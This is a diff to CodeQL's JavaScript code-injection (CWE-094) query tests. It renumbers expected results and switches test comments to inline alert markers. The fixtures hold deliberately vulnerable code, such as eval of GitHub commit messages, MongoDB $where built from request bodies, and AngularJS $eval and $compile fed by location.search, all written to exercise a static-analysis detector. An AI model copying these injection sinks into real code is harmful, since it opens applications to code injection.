-| tst.js:5:12:5:33 | documen ... on.hash | tst.js:5:12:5:33 | documen ... on.hash | tst.js:5:12:5:33 | documen ... on.hash | This code execution depends on a $@. | tst.js:5:12:5:33 | documen ... on.hash | user-provided value |
-| tst.js:14:10:14:74 | documen ... , "$1") | tst.js:14:10:14:33 | documen ... .search | tst.js:14:10:14:74 | documen ... , "$1") | This code execution depends on a $@. | tst.js:14:10:14:33 | documen ... .search | user-provided value |
-| tst.js:17:21:17:42 | documen ... on.hash | tst.js:17:21:17:42 | documen ... on.hash | tst.js:17:21:17:42 | documen ... on.hash | This code execution depends on a $@. | tst.js:17:21:17:42 | documen ... on.hash | user-provided value |
-| tst.js:20:30:20:51 | documen ... on.hash | tst.js:20:30:20:51 | documen ... on.hash | tst.js:20:30:20:51 | documen ... on.hash | This code execution depends on a $@. | tst.js:20:30:20:51 | documen ... on.hash | user-provided value |
-| tst.js:23:6:23:46 | atob(do ... ing(1)) | tst.js:23:11:23:32 | documen ... on.hash | tst.js:23:6:23:46 | atob(do ... ing(1)) | This code execution depends on a $@. | tst.js:23:11:23:32 | documen ... on.hash | user-provided value |
-| tst.js:26:26:26:53 | locatio ... ring(1) | tst.js:26:26:26:40 | location.search | tst.js:26:26:26:53 | locatio ... ring(1) | This code execution depends on a $@. | tst.js:26:26:26:40 | location.search | user-provided value |
-| tst.js:31:18:31:23 | source | tst.js:29:18:29:41 | documen ... .search | tst.js:31:18:31:23 | source | This code execution depends on a $@. | tst.js:29:18:29:41 | documen ... .search | user-provided value |
-| tst.js:33:14:33:19 | source | tst.js:29:18:29:41 | documen ... .search | tst.js:33:14:33:19 | source | This code execution depends on a $@. | tst.js:29:18:29:41 | documen ... .search | user-provided value |
-| tst.js:35:28:35:33 | source | tst.js:29:18:29:41 | documen ... .search | tst.js:35:28:35:33 | source | This code execution depends on a $@. | tst.js:29:18:29:41 | documen ... .search | user-provided value |
-| tst.js:37:33:37:38 | source | tst.js:29:18:29:41 | documen ... .search | tst.js:37:33:37:38 | source | This code execution depends on a $@. | tst.js:29:18:29:41 | documen ... .search | user-provided value |
-| webix/webix.html:3:16:3:37 | documen ... on.hash | webix/webix.html:3:16:3:37 | documen ... on.hash | webix/webix.html:3:16:3:37 | documen ... on.hash | This code execution depends on a $@. | webix/webix.html:3:16:3:37 | documen ... on.hash | user-provided value |
-| webix/webix.html:4:26:4:47 | documen ... on.hash | webix/webix.html:4:26:4:47 | documen ... on.hash | webix/webix.html:4:26:4:47 | documen ... on.hash | Template, which may contain code, depends on a $@. | webix/webix.html:4:26:4:47 | documen ... on.hash | user-provided value |
-| webix/webix.html:5:47:5:68 | documen ... on.hash | webix/webix.html:5:47:5:68 | documen ... on.hash | webix/webix.html:5:47:5:68 | documen ... on.hash | Template, which may contain code, depends on a $@. | webix/webix.html:5:47:5:68 | documen ... on.hash | user-provided value |
-| webix/webix.js:3:12:3:33 | documen ... on.hash | webix/webix.js:3:12:3:33 | documen ... on.hash | webix/webix.js:3:12:3:33 | documen ... on.hash | This code execution depends on a $@. | webix/webix.js:3:12:3:33 | documen ... on.hash | user-provided value |
-| webix/webix.js:4:22:4:43 | documen ... on.hash | webix/webix.js:4:22:4:43 | documen ... on.hash | webix/webix.js:4:22:4:43 | documen ... on.hash | Template, which may contain code, depends on a $@. | webix/webix.js:4:22:4:43 | documen ... on.hash | user-provided value |
-| webix/webix.js:5:43:5:64 | documen ... on.hash | webix/webix.js:5:43:5:64 | documen ... on.hash | webix/webix.js:5:43:5:64 | documen ... on.hash | Template, which may contain code, depends on a $@. | webix/webix.js:5:43:5:64 | documen ... on.hash | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/CodeInjection.qlref b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/CodeInjection.qlref
index fe9adbf3b64d..bfeec8aec393 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/CodeInjection.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/CodeInjection.qlref
@@ -1 +1,2 @@
-Security/CWE-094/CodeInjection.ql
+query: Security/CWE-094/CodeInjection.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/HeuristicSourceCodeInjection.expected b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/HeuristicSourceCodeInjection.expected
index 2be7dc659f29..ba973943e124 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/HeuristicSourceCodeInjection.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/HeuristicSourceCodeInjection.expected
@@ -3,14 +3,14 @@ edges
 | NoSQLCodeInjection.js:19:36:19:43 | req.body | NoSQLCodeInjection.js:19:24:19:48 | "name = ... dy.name | provenance |  |
 | NoSQLCodeInjection.js:22:36:22:43 | req.body | NoSQLCodeInjection.js:22:24:22:48 | "name = ... dy.name | provenance |  |
 | eslint-escope-build.js:20:22:20:22 | c | eslint-escope-build.js:21:16:21:16 | c | provenance |  |
-| express.js:7:44:7:62 | req.param("wobble") | express.js:7:24:7:69 | "return ...  + "];" | provenance |  |
-| express.js:9:54:9:72 | req.param("wobble") | express.js:9:34:9:79 | "return ...  + "];" | provenance |  |
-| express.js:12:28:12:46 | req.param("wobble") | express.js:12:8:12:53 | "return ...  + "];" | provenance |  |
-| express.js:26:9:26:35 | taint | express.js:27:34:27:38 | taint | provenance |  |
-| express.js:26:17:26:35 | req.param("wobble") | express.js:26:9:26:35 | taint | provenance |  |
-| express.js:34:9:34:35 | taint | express.js:43:15:43:19 | taint | provenance |  |
-| express.js:34:17:34:35 | req.param("wobble") | express.js:34:9:34:35 | taint | provenance |  |
-| express.js:49:30:49:32 | msg | express.js:50:10:50:12 | msg | provenance |  |
+| express.js:6:44:6:62 | req.param("wobble") | express.js:6:24:6:69 | "return ...  + "];" | provenance |  |
+| express.js:7:54:7:72 | req.param("wobble") | express.js:7:34:7:79 | "return ...  + "];" | provenance |  |
+| express.js:9:28:9:46 | req.param("wobble") | express.js:9:8:9:53 | "return ...  + "];" | provenance |  |
+| express.js:19:9:19:35 | taint | express.js:20:34:20:38 | taint | provenance |  |
+| express.js:19:17:19:35 | req.param("wobble") | express.js:19:9:19:35 | taint | provenance |  |
+| express.js:27:9:27:35 | taint | express.js:36:15:36:19 | taint | provenance |  |
+| express.js:27:17:27:35 | req.param("wobble") | express.js:27:9:27:35 | taint | provenance |  |
+| express.js:42:30:42:32 | msg | express.js:43:10:43:12 | msg | provenance |  |
 | react-native.js:7:7:7:33 | tainted | react-native.js:8:32:8:38 | tainted | provenance |  |
 | react-native.js:7:7:7:33 | tainted | react-native.js:10:23:10:29 | tainted | provenance |  |
 | react-native.js:7:17:7:33 | req.param("code") | react-native.js:7:7:7:33 | tainted | provenance |  |
@@ -29,17 +29,17 @@ edges
 | template-sinks.js:18:9:18:31 | tainted | template-sinks.js:32:16:32:22 | tainted | provenance |  |
 | template-sinks.js:18:9:18:31 | tainted | template-sinks.js:33:17:33:23 | tainted | provenance |  |
 | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:18:9:18:31 | tainted | provenance |  |
-| tst.js:2:6:2:27 | documen ... on.href | tst.js:2:6:2:83 | documen ... t=")+8) | provenance |  |
-| tst.js:14:10:14:33 | documen ... .search | tst.js:14:10:14:74 | documen ... , "$1") | provenance |  |
-| tst.js:23:11:23:32 | documen ... on.hash | tst.js:23:11:23:45 | documen ... ring(1) | provenance |  |
-| tst.js:23:11:23:45 | documen ... ring(1) | tst.js:23:6:23:46 | atob(do ... ing(1)) | provenance |  |
-| tst.js:26:26:26:40 | location.search | tst.js:26:26:26:53 | locatio ... ring(1) | provenance |  |
-| tst.js:29:9:29:82 | source | tst.js:31:18:31:23 | source | provenance |  |
-| tst.js:29:9:29:82 | source | tst.js:33:14:33:19 | source | provenance |  |
-| tst.js:29:9:29:82 | source | tst.js:35:28:35:33 | source | provenance |  |
-| tst.js:29:9:29:82 | source | tst.js:37:33:37:38 | source | provenance |  |
-| tst.js:29:18:29:41 | documen ... .search | tst.js:29:18:29:82 | documen ... , "$1") | provenance |  |
-| tst.js:29:18:29:82 | documen ... , "$1") | tst.js:29:9:29:82 | source | provenance |  |
+| tst.js:1:6:1:27 | documen ... on.href | tst.js:1:6:1:83 | documen ... t=")+8) | provenance |  |
+| tst.js:11:10:11:33 | documen ... .search | tst.js:11:10:11:74 | documen ... , "$1") | provenance |  |
+| tst.js:17:11:17:32 | documen ... on.hash | tst.js:17:11:17:45 | documen ... ring(1) | provenance |  |
+| tst.js:17:11:17:45 | documen ... ring(1) | tst.js:17:6:17:46 | atob(do ... ing(1)) | provenance |  |
+| tst.js:19:26:19:40 | location.search | tst.js:19:26:19:53 | locatio ... ring(1) | provenance |  |
+| tst.js:22:9:22:82 | source | tst.js:24:18:24:23 | source | provenance |  |
+| tst.js:22:9:22:82 | source | tst.js:26:14:26:19 | source | provenance |  |
+| tst.js:22:9:22:82 | source | tst.js:28:28:28:33 | source | provenance |  |
+| tst.js:22:9:22:82 | source | tst.js:30:33:30:38 | source | provenance |  |
+| tst.js:22:18:22:41 | documen ... .search | tst.js:22:18:22:82 | documen ... , "$1") | provenance |  |
+| tst.js:22:18:22:82 | documen ... , "$1") | tst.js:22:9:22:82 | source | provenance |  |
 nodes
 | NoSQLCodeInjection.js:18:24:18:31 | req.body | semmle.label | req.body |
 | NoSQLCodeInjection.js:18:24:18:37 | req.body.query | semmle.label | req.body.query |
@@ -64,24 +64,24 @@ nodes
 | angularjs.js:53:32:53:46 | location.search | semmle.label | location.search |
 | eslint-escope-build.js:20:22:20:22 | c | semmle.label | c |
 | eslint-escope-build.js:21:16:21:16 | c | semmle.label | c |
-| express.js:7:24:7:69 | "return ...  + "];" | semmle.label | "return ...  + "];" |
-| express.js:7:44:7:62 | req.param("wobble") | semmle.label | req.param("wobble") |
-| express.js:9:34:9:79 | "return ...  + "];" | semmle.label | "return ...  + "];" |
-| express.js:9:54:9:72 | req.param("wobble") | semmle.label | req.param("wobble") |
-| express.js:12:8:12:53 | "return ...  + "];" | semmle.label | "return ...  + "];" |
-| express.js:12:28:12:46 | req.param("wobble") | semmle.label | req.param("wobble") |
-| express.js:15:22:15:54 | req.par ... ction") | semmle.label | req.par ... ction") |
-| express.js:17:30:17:53 | req.par ... cript") | semmle.label | req.par ... cript") |
-| express.js:19:37:19:70 | req.par ... odule") | semmle.label | req.par ... odule") |
-| express.js:21:19:21:48 | req.par ... ntext") | semmle.label | req.par ... ntext") |
-| express.js:26:9:26:35 | taint | semmle.label | taint |
-| express.js:26:17:26:35 | req.param("wobble") | semmle.label | req.param("wobble") |
-| express.js:27:34:27:38 | taint | semmle.label | taint |
-| express.js:34:9:34:35 | taint | semmle.label | taint |
-| express.js:34:17:34:35 | req.param("wobble") | semmle.label | req.param("wobble") |
-| express.js:43:15:43:19 | taint | semmle.label | taint |
-| express.js:49:30:49:32 | msg | semmle.label | msg |
-| express.js:50:10:50:12 | msg | semmle.label | msg |
+| express.js:6:24:6:69 | "return ...  + "];" | semmle.label | "return ...  + "];" |
+| express.js:6:44:6:62 | req.param("wobble") | semmle.label | req.param("wobble") |
+| express.js:7:34:7:79 | "return ...  + "];" | semmle.label | "return ...  + "];" |
+| express.js:7:54:7:72 | req.param("wobble") | semmle.label | req.param("wobble") |
+| express.js:9:8:9:53 | "return ...  + "];" | semmle.label | "return ...  + "];" |
+| express.js:9:28:9:46 | req.param("wobble") | semmle.label | req.param("wobble") |
+| express.js:11:22:11:54 | req.par ... ction") | semmle.label | req.par ... ction") |
+| express.js:12:30:12:53 | req.par ... cript") | semmle.label | req.par ... cript") |
+| express.js:13:37:13:70 | req.par ... odule") | semmle.label | req.par ... odule") |
+| express.js:14:19:14:48 | req.par ... ntext") | semmle.label | req.par ... ntext") |
+| express.js:19:9:19:35 | taint | semmle.label | taint |
+| express.js:19:17:19:35 | req.param("wobble") | semmle.label | req.param("wobble") |
+| express.js:20:34:20:38 | taint | semmle.label | taint |
+| express.js:27:9:27:35 | taint | semmle.label | taint |
+| express.js:27:17:27:35 | req.param("wobble") | semmle.label | req.param("wobble") |
+| express.js:36:15:36:19 | taint | semmle.label | taint |
+| express.js:42:30:42:32 | msg | semmle.label | msg |
+| express.js:43:10:43:12 | msg | semmle.label | msg |
 | module.js:9:16:9:29 | req.query.code | semmle.label | req.query.code |
 | module.js:11:17:11:30 | req.query.code | semmle.label | req.query.code |
 | react-native.js:7:7:7:33 | tainted | semmle.label | tainted |
@@ -105,25 +105,25 @@ nodes
 | template-sinks.js:31:19:31:25 | tainted | semmle.label | tainted |
 | template-sinks.js:32:16:32:22 | tainted | semmle.label | tainted |
 | template-sinks.js:33:17:33:23 | tainted | semmle.label | tainted |
-| tst.js:2:6:2:27 | documen ... on.href | semmle.label | documen ... on.href |
-| tst.js:2:6:2:83 | documen ... t=")+8) | semmle.label | documen ... t=")+8) |
-| tst.js:5:12:5:33 | documen ... on.hash | semmle.label | documen ... on.hash |
-| tst.js:14:10:14:33 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:14:10:14:74 | documen ... , "$1") | semmle.label | documen ... , "$1") |
-| tst.js:17:21:17:42 | documen ... on.hash | semmle.label | documen ... on.hash |
-| tst.js:20:30:20:51 | documen ... on.hash | semmle.label | documen ... on.hash |
-| tst.js:23:6:23:46 | atob(do ... ing(1)) | semmle.label | atob(do ... ing(1)) |
-| tst.js:23:11:23:32 | documen ... on.hash | semmle.label | documen ... on.hash |
-| tst.js:23:11:23:45 | documen ... ring(1) | semmle.label | documen ... ring(1) |
-| tst.js:26:26:26:40 | location.search | semmle.label | location.search |
-| tst.js:26:26:26:53 | locatio ... ring(1) | semmle.label | locatio ... ring(1) |
-| tst.js:29:9:29:82 | source | semmle.label | source |
-| tst.js:29:18:29:41 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:29:18:29:82 | documen ... , "$1") | semmle.label | documen ... , "$1") |
-| tst.js:31:18:31:23 | source | semmle.label | source |
-| tst.js:33:14:33:19 | source | semmle.label | source |
-| tst.js:35:28:35:33 | source | semmle.label | source |
-| tst.js:37:33:37:38 | source | semmle.label | source |
+| tst.js:1:6:1:27 | documen ... on.href | semmle.label | documen ... on.href |
+| tst.js:1:6:1:83 | documen ... t=")+8) | semmle.label | documen ... t=")+8) |
+| tst.js:3:12:3:33 | documen ... on.hash | semmle.label | documen ... on.hash |
+| tst.js:11:10:11:33 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:11:10:11:74 | documen ... , "$1") | semmle.label | documen ... , "$1") |
+| tst.js:13:21:13:42 | documen ... on.hash | semmle.label | documen ... on.hash |
+| tst.js:15:30:15:51 | documen ... on.hash | semmle.label | documen ... on.hash |
+| tst.js:17:6:17:46 | atob(do ... ing(1)) | semmle.label | atob(do ... ing(1)) |
+| tst.js:17:11:17:32 | documen ... on.hash | semmle.label | documen ... on.hash |
+| tst.js:17:11:17:45 | documen ... ring(1) | semmle.label | documen ... ring(1) |
+| tst.js:19:26:19:40 | location.search | semmle.label | location.search |
+| tst.js:19:26:19:53 | locatio ... ring(1) | semmle.label | locatio ... ring(1) |
+| tst.js:22:9:22:82 | source | semmle.label | source |
+| tst.js:22:18:22:41 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:22:18:22:82 | documen ... , "$1") | semmle.label | documen ... , "$1") |
+| tst.js:24:18:24:23 | source | semmle.label | source |
+| tst.js:26:14:26:19 | source | semmle.label | source |
+| tst.js:28:28:28:33 | source | semmle.label | source |
+| tst.js:30:33:30:38 | source | semmle.label | source |
 | webix/webix.html:3:16:3:37 | documen ... on.hash | semmle.label | documen ... on.hash |
 | webix/webix.html:4:26:4:47 | documen ... on.hash | semmle.label | documen ... on.hash |
 | webix/webix.html:5:47:5:68 | documen ... on.hash | semmle.label | documen ... on.hash |
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/ImproperCodeSanitization.expected b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/ImproperCodeSanitization.expected
index 48fa61317807..84c50efddc96 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/ImproperCodeSanitization.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/ImproperCodeSanitization.expected
@@ -1,3 +1,12 @@
+#select
+| bad-code-sanitization.js:8:27:8:46 | statements.join(';') | bad-code-sanitization.js:2:69:2:87 | JSON.stringify(key) | bad-code-sanitization.js:8:27:8:46 | statements.join(';') | Code construction depends on an $@. | bad-code-sanitization.js:2:69:2:87 | JSON.stringify(key) | improperly sanitized value |
+| bad-code-sanitization.js:15:44:15:63 | htmlescape(pathname) | bad-code-sanitization.js:15:44:15:63 | htmlescape(pathname) | bad-code-sanitization.js:15:44:15:63 | htmlescape(pathname) | Code construction depends on an $@. | bad-code-sanitization.js:15:44:15:63 | htmlescape(pathname) | improperly sanitized value |
+| bad-code-sanitization.js:19:27:19:47 | JSON.st ... (input) | bad-code-sanitization.js:19:27:19:47 | JSON.st ... (input) | bad-code-sanitization.js:19:27:19:47 | JSON.st ... (input) | Code construction depends on an $@. | bad-code-sanitization.js:19:27:19:47 | JSON.st ... (input) | improperly sanitized value |
+| bad-code-sanitization.js:31:30:31:50 | JSON.st ... (input) | bad-code-sanitization.js:31:30:31:50 | JSON.st ... (input) | bad-code-sanitization.js:31:30:31:50 | JSON.st ... (input) | Code construction depends on an $@. | bad-code-sanitization.js:31:30:31:50 | JSON.st ... (input) | improperly sanitized value |
+| bad-code-sanitization.js:40:23:40:43 | JSON.st ... (input) | bad-code-sanitization.js:40:23:40:43 | JSON.st ... (input) | bad-code-sanitization.js:40:23:40:43 | JSON.st ... (input) | Code construction depends on an $@. | bad-code-sanitization.js:40:23:40:43 | JSON.st ... (input) | improperly sanitized value |
+| bad-code-sanitization.js:44:22:44:42 | JSON.st ... (input) | bad-code-sanitization.js:44:22:44:42 | JSON.st ... (input) | bad-code-sanitization.js:44:22:44:42 | JSON.st ... (input) | Code construction depends on an $@. | bad-code-sanitization.js:44:22:44:42 | JSON.st ... (input) | improperly sanitized value |
+| bad-code-sanitization.js:52:28:52:62 | JSON.st ... bble")) | bad-code-sanitization.js:52:28:52:62 | JSON.st ... bble")) | bad-code-sanitization.js:52:28:52:62 | JSON.st ... bble")) | Code construction depends on an $@. | bad-code-sanitization.js:52:28:52:62 | JSON.st ... bble")) | improperly sanitized value |
+| bad-code-sanitization.js:64:27:64:36 | assignment | bad-code-sanitization.js:63:31:63:49 | JSON.stringify(key) | bad-code-sanitization.js:64:27:64:36 | assignment | Code construction depends on an $@. | bad-code-sanitization.js:63:31:63:49 | JSON.stringify(key) | improperly sanitized value |
 edges
 | bad-code-sanitization.js:2:12:2:90 | /^[_$a- ... key)}]` | bad-code-sanitization.js:7:31:7:43 | safeProp(key) | provenance |  |
 | bad-code-sanitization.js:2:69:2:87 | JSON.stringify(key) | bad-code-sanitization.js:2:12:2:90 | /^[_$a- ... key)}]` | provenance |  |
@@ -27,12 +36,3 @@ nodes
 | bad-code-sanitization.js:63:31:63:49 | JSON.stringify(key) | semmle.label | JSON.stringify(key) |
 | bad-code-sanitization.js:64:27:64:36 | assignment | semmle.label | assignment |
 subpaths
-#select
-| bad-code-sanitization.js:8:27:8:46 | statements.join(';') | bad-code-sanitization.js:2:69:2:87 | JSON.stringify(key) | bad-code-sanitization.js:8:27:8:46 | statements.join(';') | Code construction depends on an $@. | bad-code-sanitization.js:2:69:2:87 | JSON.stringify(key) | improperly sanitized value |
-| bad-code-sanitization.js:15:44:15:63 | htmlescape(pathname) | bad-code-sanitization.js:15:44:15:63 | htmlescape(pathname) | bad-code-sanitization.js:15:44:15:63 | htmlescape(pathname) | Code construction depends on an $@. | bad-code-sanitization.js:15:44:15:63 | htmlescape(pathname) | improperly sanitized value |
-| bad-code-sanitization.js:19:27:19:47 | JSON.st ... (input) | bad-code-sanitization.js:19:27:19:47 | JSON.st ... (input) | bad-code-sanitization.js:19:27:19:47 | JSON.st ... (input) | Code construction depends on an $@. | bad-code-sanitization.js:19:27:19:47 | JSON.st ... (input) | improperly sanitized value |
-| bad-code-sanitization.js:31:30:31:50 | JSON.st ... (input) | bad-code-sanitization.js:31:30:31:50 | JSON.st ... (input) | bad-code-sanitization.js:31:30:31:50 | JSON.st ... (input) | Code construction depends on an $@. | bad-code-sanitization.js:31:30:31:50 | JSON.st ... (input) | improperly sanitized value |
-| bad-code-sanitization.js:40:23:40:43 | JSON.st ... (input) | bad-code-sanitization.js:40:23:40:43 | JSON.st ... (input) | bad-code-sanitization.js:40:23:40:43 | JSON.st ... (input) | Code construction depends on an $@. | bad-code-sanitization.js:40:23:40:43 | JSON.st ... (input) | improperly sanitized value |
-| bad-code-sanitization.js:44:22:44:42 | JSON.st ... (input) | bad-code-sanitization.js:44:22:44:42 | JSON.st ... (input) | bad-code-sanitization.js:44:22:44:42 | JSON.st ... (input) | Code construction depends on an $@. | bad-code-sanitization.js:44:22:44:42 | JSON.st ... (input) | improperly sanitized value |
-| bad-code-sanitization.js:52:28:52:62 | JSON.st ... bble")) | bad-code-sanitization.js:52:28:52:62 | JSON.st ... bble")) | bad-code-sanitization.js:52:28:52:62 | JSON.st ... bble")) | Code construction depends on an $@. | bad-code-sanitization.js:52:28:52:62 | JSON.st ... bble")) | improperly sanitized value |
-| bad-code-sanitization.js:64:27:64:36 | assignment | bad-code-sanitization.js:63:31:63:49 | JSON.stringify(key) | bad-code-sanitization.js:64:27:64:36 | assignment | Code construction depends on an $@. | bad-code-sanitization.js:63:31:63:49 | JSON.stringify(key) | improperly sanitized value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/ImproperCodeSanitization.qlref b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/ImproperCodeSanitization.qlref
index 20c6dffd7b3e..7b474710a84e 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/ImproperCodeSanitization.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/ImproperCodeSanitization.qlref
@@ -1 +1,2 @@
-Security/CWE-094/ImproperCodeSanitization.ql
+query: Security/CWE-094/ImproperCodeSanitization.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/NoSQLCodeInjection.js b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/NoSQLCodeInjection.js
index 6facf5ec75a5..0aeb77af5a20 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/NoSQLCodeInjection.js
+++ b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/NoSQLCodeInjection.js
@@ -14,12 +14,12 @@ app.post("/documents/find", (req, res) => {
   MongoClient.connect("mongodb://localhost:27017/test", (err, db) => {
     let doc = db.collection("doc");
 
-    doc.find(query); // NOT OK, but that is flagged by js/sql-injection [INCONSISTENCY]
-    doc.find({ $where: req.body.query }); // NOT OK
-    doc.find({ $where: "name = " + req.body.name }); // NOT OK
+    doc.find(query); // $ MISSING: Alert - that is flagged by js/sql-injection
+    doc.find({ $where: req.body.query }); // $ Alert[js/code-injection]
+    doc.find({ $where: "name = " + req.body.name }); // $ Alert[js/code-injection]
 
     function mkWhereObj() {
-      return { $where: "name = " + req.body.name };  // NOT OK
+      return { $where: "name = " + req.body.name };  // $ Alert[js/code-injection]
     }
 
     doc.find(mkWhereObj()); // the alert location is in mkWhereObj.
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/UnsafeCodeConstruction.expected b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/UnsafeCodeConstruction.expected
index 868f2a287441..c466338d82ee 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/UnsafeCodeConstruction.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/UnsafeCodeConstruction.expected
@@ -1,3 +1,8 @@
+#select
+| lib/index.js:2:21:2:24 | data | lib/index.js:1:35:1:38 | data | lib/index.js:2:21:2:24 | data | This string concatenation which depends on $@ is later $@. | lib/index.js:1:35:1:38 | data | library input | lib/index.js:2:15:2:30 | "(" + data + ")" | interpreted as code |
+| lib/index.js:6:26:6:29 | name | lib/index.js:5:35:5:38 | name | lib/index.js:6:26:6:29 | name | This string concatenation which depends on $@ is later $@. | lib/index.js:5:35:5:38 | name | library input | lib/index.js:6:17:6:29 | "obj." + name | interpreted as code |
+| lib/index.js:14:21:14:24 | data | lib/index.js:13:38:13:41 | data | lib/index.js:14:21:14:24 | data | This string concatenation which depends on $@ is later $@. | lib/index.js:13:38:13:41 | data | library input | lib/index.js:14:15:14:30 | "(" + data + ")" | interpreted as code |
+| lib/index.js:22:7:22:10 | data | lib/index.js:19:26:19:29 | data | lib/index.js:22:7:22:10 | data | This string concatenation which depends on $@ is later $@. | lib/index.js:19:26:19:29 | data | library input | lib/index.js:25:24:25:26 | str | interpreted as code |
 edges
 | lib/index.js:1:35:1:38 | data | lib/index.js:2:21:2:24 | data | provenance |  |
 | lib/index.js:5:35:5:38 | name | lib/index.js:6:26:6:29 | name | provenance |  |
@@ -13,8 +18,3 @@ nodes
 | lib/index.js:19:26:19:29 | data | semmle.label | data |
 | lib/index.js:22:7:22:10 | data | semmle.label | data |
 subpaths
-#select
-| lib/index.js:2:21:2:24 | data | lib/index.js:1:35:1:38 | data | lib/index.js:2:21:2:24 | data | This string concatenation which depends on $@ is later $@. | lib/index.js:1:35:1:38 | data | library input | lib/index.js:2:15:2:30 | "(" + data + ")" | interpreted as code |
-| lib/index.js:6:26:6:29 | name | lib/index.js:5:35:5:38 | name | lib/index.js:6:26:6:29 | name | This string concatenation which depends on $@ is later $@. | lib/index.js:5:35:5:38 | name | library input | lib/index.js:6:17:6:29 | "obj." + name | interpreted as code |
-| lib/index.js:14:21:14:24 | data | lib/index.js:13:38:13:41 | data | lib/index.js:14:21:14:24 | data | This string concatenation which depends on $@ is later $@. | lib/index.js:13:38:13:41 | data | library input | lib/index.js:14:15:14:30 | "(" + data + ")" | interpreted as code |
-| lib/index.js:22:7:22:10 | data | lib/index.js:19:26:19:29 | data | lib/index.js:22:7:22:10 | data | This string concatenation which depends on $@ is later $@. | lib/index.js:19:26:19:29 | data | library input | lib/index.js:25:24:25:26 | str | interpreted as code |
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/UnsafeCodeConstruction.qlref b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/UnsafeCodeConstruction.qlref
index 1b4dc21b8205..6e2be158d1d1 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/UnsafeCodeConstruction.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/UnsafeCodeConstruction.qlref
@@ -1 +1,2 @@
-Security/CWE-094/UnsafeCodeConstruction.ql
+query: Security/CWE-094/UnsafeCodeConstruction.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/actions.js b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/actions.js
index df5cd88971a3..62158678073c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/actions.js
+++ b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/actions.js
@@ -1,5 +1,5 @@
 const github = require('@actions/github');
 
 function test() {
-    eval(github.context.payload.commits[1].message); // NOT OK
+    eval(github.context.payload.commits[1].message); // $ Alert[js/code-injection]
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/angularjs.js b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/angularjs.js
index 658d71e4c879..fb28264b5cec 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/angularjs.js
+++ b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/angularjs.js
@@ -1,66 +1,66 @@
 angular.module('myModule', [])
     .controller('MyController', function($scope) {
-        $scope.$on(location.search); // OK
+        $scope.$on(location.search);
     })
     .controller('MyController', function($scope) {
-        $scope.$apply('hello'); // OK
+        $scope.$apply('hello');
     })
     .controller('MyController', function($scope) {
         var scope = $scope;
-        scope.$apply(location.search); // BAD
+        scope.$apply(location.search); // $ Alert[js/code-injection]
     })
     .controller('MyController', function($scope) {
-        $scope.$apply(location.search); // BAD
+        $scope.$apply(location.search); // $ Alert[js/code-injection]
     })
     .controller('MyController', function($scope) {
-        $scope.$applyAsync(location.search); // BAD
+        $scope.$applyAsync(location.search); // $ Alert[js/code-injection]
     })
     .controller('MyController', function($scope) {
-        $scope.$eval(location.search); // BAD
+        $scope.$eval(location.search); // $ Alert[js/code-injection]
     })
     .controller('MyController', function($scope) {
-        $scope.$evalAsync(location.search); // BAD
+        $scope.$evalAsync(location.search); // $ Alert[js/code-injection]
     })
     .controller('MyController', function($scope) {
-        $scope.$watch(location.search); // BAD
+        $scope.$watch(location.search); // $ Alert[js/code-injection]
     })
     .controller('MyController', function($scope) {
-        $scope.$watchCollection(location.search); // BAD
+        $scope.$watchCollection(location.search); // $ Alert[js/code-injection]
     })
     .controller('MyController', function($scope) {
-        $scope.$watchGroup(location.search); // BAD
+        $scope.$watchGroup(location.search); // $ Alert[js/code-injection]
     })
     .controller('MyController', function($compile) {
-        $compile(location.search); // BAD
+        $compile(location.search); // $ Alert[js/code-injection]
     })
     .controller('MyController', function($compile) {
-        $compile('hello'); // OK
+        $compile('hello');
     })
     .controller('MyController', function($compile) {
-        $compile(location.search); // BAD
+        $compile(location.search); // $ Alert[js/code-injection]
     })
     .controller('MyController', function($compile) {
         var compile = $compile;
-        compile(location.search); // BAD
